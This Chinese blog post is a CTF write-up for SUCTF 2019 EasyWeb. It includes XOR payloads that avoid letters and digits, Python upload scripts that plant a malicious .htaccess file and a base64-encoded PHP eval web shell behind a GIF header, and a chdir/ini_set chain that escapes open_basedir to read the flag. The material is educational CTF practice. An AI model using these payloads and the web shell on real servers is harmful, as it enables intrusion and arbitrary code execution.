buuctf18

前言

感觉最近有点小浮躁,必须要尽快调整~脚踏实地才是最重要的

[SUCTF 2019]EasyWeb

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);//不可以使用超过12种的字符
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

思路:执行eval函数,然后上传文件
首先需要绕过那个正则匹配字母数字的,之前使用异或去取字符

import re
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
# if re.match('[a-zA-Z0-9]+','a'):

result=""
print(chr(ord('!')^ord('@')))
for j in range(len(str)):
for i in range(len(str)):
result=chr(ord(str[j])^ord(str[i]))
# print(result)
if re.match('[a-zA-Z0-9]+',result):
print str[j]+"^"+str[i]+"="+result
print("\n")

但是发现也有过滤一些特殊字符,所以这个方法不太行,

https://my.oschina.net/u/4306654/blog/3363280
用一下其他办法

import urllib.parse
find = ['G','E','t','_']
for i in range(1,256):
for j in range(1,256):
result=chr(i^j)
if(result in find):
a= i.to_bytes(1,byteorder='big')#将十进制整数,转化为bytes(十六进制)
b= j.to_bytes(1,byteorder='big')
a= urllib.parse.quote(a)#进行URL编码
b= urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

我们将范围扩大到很多不可见字符,这里就是使用ascii码了,然后为了防止被过滤,我就找了最下面的几个

t:%FE^%AA
_:%FE^%A1
G:%FE^%B9
E:%FE^%BB

绕过18个字符就是用get再传参一次

first_payload for test:

${%A1%B9%BB%AA^%FE%FE%FE%FE}{%A1}();&%A1=phpinfo
${_GET}{%A1}()=$_GET(%A1)

这里有个很奇怪的点,就是这个t,别人跑出来都是AA我跑出来是8A=-=,所以payload一直不对,但是放到python里面去解析,去反编码回去,又是正确的?难道又是版本问题吗?


img

总之,到这里就可以继续往下走了,接下来看源码,发现需要上传文件了
看一下过滤吧:

$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);

1.检查后缀是否含有ph、检查内容是否含有<?、检查是否为图片
img

文件上传思路

由于过滤了ph后缀的文件,所以我们只能上传user.ini或者htaccess,这里显然上传htaccess更合适,因为可以用来将其他非php的文件解析为php,但是接下来会检查内容是否含有<? 这里就是一个难点了,因为此时短标签绕过不了,想着使用<script>进行绕过,但是刚刚我们可以看到这个php版本为7.几的
img

这里有两种方法,一种是改变php的编码格式,另一种是以加密的形式传入,并解密读取
接下来是绕过图片检查,这里使用的函数是exit_imagetype()
**exif_imagetype()**读取图像的第一个字节并检查其签名。此时就很妨碍我们上传.htaccess了,这样就会不符合.htaccess的书写语法,导致无法解析.htaccess,那么我们该如何操作呢?这里说一下看完WP后的理解:要满足该函数的检查,首先会检查第一个字节,可以发现,第一个字节为空可以绕过检查,即/x00但是因为是图片检查,又需要定义其大小才会符合图片的定义(这里由于不了解exif_imagetype()的C代码运行逻辑,所以只能先猜测一下,待后面找到了再来补充,问了一下学长,确实是这样),接下来就是书写.htaccess的内容了,然后上传完.htaccess就上传我们的马,此时也需要加密一波再进行上传,头的检查和刚才的一样。

.htaccess文件内容构造

首先解决第一个问题:没有上传窗口如何上传文件——使用Python的requests库上传文件
https://blog.csdn.net/five3/article/details/74913742

import requests
s=requests.session()
conten_htacc=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .gg
php_value auto_append_file "php://filter/convert.base64-decode/resource=tt.gg#这里就将其进行base64进行编码
"""

url="http://135d9802-5db9-41f2-8761-9eeb38a3ece9.node3.buuoj.cn?_=${%A1%B9%BB%AA^%FE%FE%FE%FE}{%A1}();&%A1=get_the_flag"

files={
'file':('.htaccess',conten_htacc,'image/png')
}
r=s.post(url,files=files)
print(r.text)

根据这个获取文件夹所在位置
upload/tmp_4f105b2c0ec2da14aae9b130ee13f8e9/.htaccess
接下来是构造我们的图片马

import requests
import base64
s=requests.session()
url="http://a199f759-9689-41ad-b7a7-c0bab6144be6.node3.buuoj.cn/?_=${%A1%B9%BB%AA^%FE%FE%FE%FE}{%A1}();&%A1=get_the_flag"
content_hta=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_233e0752380798f15678fca34b470aea/1.test
"""
file1={
'file':('.htaccess',content_hta,'image/jpeg')
}
r=s.post(url,files=file1).text
print(r)
txt_content=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>")
file2={
'file':('1.test',txt_content,'image/jpeg')
}
r=s.post(url,files=file2).text
print(r)

这边有个小细节 因为我们需要让php中的内容进行base64解码,但是前面又有个GIF98a不是base64编码内容,为了不让编码紊乱,base64的编码是将每三个字符转化为四个字符,那么解码的时候就会将原本的四个字符转化为三个字符,所以此时要多加两个字符,才不会影响到后面的马
img

没办法用蚁剑直接连接,推测是因为路径限制
接下来我们要做的就是绕过open_basedir,进行文件的读取

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

https://hexo.imagemlt.xyz/post/php-bypass-open-basedir/

这篇文章有关于open_basedir绕过的底层详解
看完以后我的理解是这样,ini_set open_basedir只是关注绝对路径和相对路径的拼接,其实是没有关注相对路径是会发生变化的

这里举个例子说明:
假设我们的open_basedir为/var/www/html/ 我们位于/var/www/html/test 目录下,执行第一个ini_set后,首先判断/var/www/html/test/..即/var/www/html/是否为open_basedir内,判断成功,因此直接更新open_basedir为..
chdir() 函数改变当前的目录。那么接下来我们执行chdir(‘..’) ..根据当前目录补全后为/var/www/html 而open_basedir补全以后也是var/www/html 同样满足,所以我们就可以这样一直跳转到根目录下

POC链:

cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
img 可以看到flag文件了
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

小结

感觉这道题真的收获很多,这边理一下:
首先是思路:无字母数字如何getshell?——>如何绕过文件上传限制——>如何绕过open_basedir读取文件

收获知识点:
1.无字母数字获取脚本编写
2.PHP7特性下,变量解析的更新
3.htaccess+文件包含绕过内容过滤以及exif_imagetype的bypass
4.open_basedir+ini_set+chdir绕过open_basedir
没有实践的点记录一下:
exif_imagetype()以及open_basedir()+ini_set()函数的底层代码跳转过程

参考:https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/
https://www.cnblogs.com/20175211lyz/p/11488051.html

https://www.jianshu.com/p/6f05923012d7

https://hexo.imagemlt.xyz/post/php-bypass-open-basedir/

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

Author

vague huang

Posted on

2021-06-08

Updated on

2021-06-11

Licensed under

Comments